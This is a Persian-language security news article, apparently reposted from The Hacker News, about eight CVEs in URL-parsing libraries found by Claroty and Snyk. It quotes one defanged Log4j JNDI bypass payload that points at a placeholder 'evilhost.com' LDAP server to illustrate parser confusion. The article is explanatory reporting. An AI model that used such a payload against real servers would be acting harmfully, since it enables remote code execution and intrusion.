آسیب پذیری در تعدای از کتابخانه محبوب پردازش کننده URL

کشف تعدادی آسیب پذیری در کتابخانه های پردازش کننده URL

به این مطلب امتیاز دهید

در یک تحلیل عمیق که به طور مشترک توسط شرکت‌های امنیت سایبری Claroty و Synk راجب این آسیب پذیری ها انجام شد، هشت آسیب‌ پذیری امنیتی در بسیاری از کتابخانه های پردازش کننده URL که به زبان‌ های C، جاوا اسکریپت، PHP، پایتون و روبی نوشته شده‌ اند شناسایی شد. این در حالی است که این کتابخانه های پردازش کننده URL توسط قشر زیادی از برنامه های وب مورد استفاده قرار میگیرند.

در گزارشی که محققان با The Hacker News به اشتراک گذاشته اند گفته شد: « این باگ ها موجب میشوند مشکلی در تجزیه URL رخ بدهد و در نتیجه ان نرم افزار به صورت غیر منتظره ای رفتار کند ( مثلاً برنامه وب ) . این قابلیت می‌ تواند توسط هکر ها برای ایجاد شرایط حملات DDOS، نشت اطلاعات یا احتمالاً انجام حملات RCE مورد سوء استفاده قرار گیرد.

با توجه به اینکه URL ها مکانیزمی اساسی برای وبگردی هستند و با کمک آن می توان منابع را – که به صورت Local یا Remote – قرار دارند، درخواست و بازیابی کرد، تفاوت در نحوه تفسیر درخواست URL توسط کتابخانه های تجزیه کننده می تواند خطرات قابل توجهی برای کاربران ایجاد کند.

اگرچه بنیاد نرم‌ افزار Apache یا همان ASF به‌ سرعت راه‌ حلی را برای رفع این ضعف انجام داد، اما به زودی مشخص شد که می‌ توان با یک ورودی ساخته‌ شده ویژه در قالب زیر محدودیت ها را به سادگی دور زد.

” ${jndi:ldap://127.0.0[.]1#.evilhost.com:1389/a} “

به گفته محققان : “این دور زدن محدودیت به این دلیل است که دو تجزیه کننده URL مختلف در فرآیند درخواست JNDI استفاده میشود، یک تجزیه کننده برای اعتبارسنجی URL، و دیگری برای واکشی آن، و بسته به اینکه هر تجزیه کننده چگونه با بخش Fragment (#) از URL رفتار می کند، نتیجه قسمت AUthority هم ( بخشی مهم از بردار حمله ) تغییر می کند.

فرآیند درخواست JNDI

به طور خاص، اگر ورودی به عنوان یک URL HTTP در نظر گرفته شود، مؤلفه Authority – پس از مواجهه با قسمت FRAGMENT به پایان می رسد، ولی اگر ورودی به عنوان یک درخواست URL LDAP در نظر گرفته شود، تجزیه کننده کل رشته را به عنوان Authority در نظر میگیرد . این به این دلیل است که URL LDP قسمت FRAGMENT را در نظر نمیگیرد.

در واقع، استفاده از تجزیه‌ کننده‌ های متعدد، یکی از دو دلیل اصلی کشف هشت آسیب‌ پذیری است

لیست هشت آسیب‌پذیری کشف‌ شده به شرح زیر است، که همه آن‌ ها از آن زمان توسط کارشناسان امنیتی مربوطه برطرف شده‌ اند.

  • Belledonne’s SIP Stack (C, CVE-2021-33056)
  • Video.js (JavaScript, CVE-2021-23414)
  • Nagios XI (PHP, CVE-2021-37352)
  • Flask-security (Python, CVE-2021-23385)
  • Flask-security-too (Python, CVE-2021-32618)
  • Flask-unchained (Python, CVE-2021-23393)
  • Flask-User (Python, CVE-2021-23401)
  • Clearance (Ruby, CVE-2021-23435)

محققان می‌گویند: برای محافظت از برنامه‌ها در برابر آسیب‌ پذیری‌های تجزیه URL، «لازم است به طور کامل درک کنیم که کدام تجزیه‌ کننده‌ها در کل فرآیند نقش دارند. ”

 

اشتراک گذاری

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *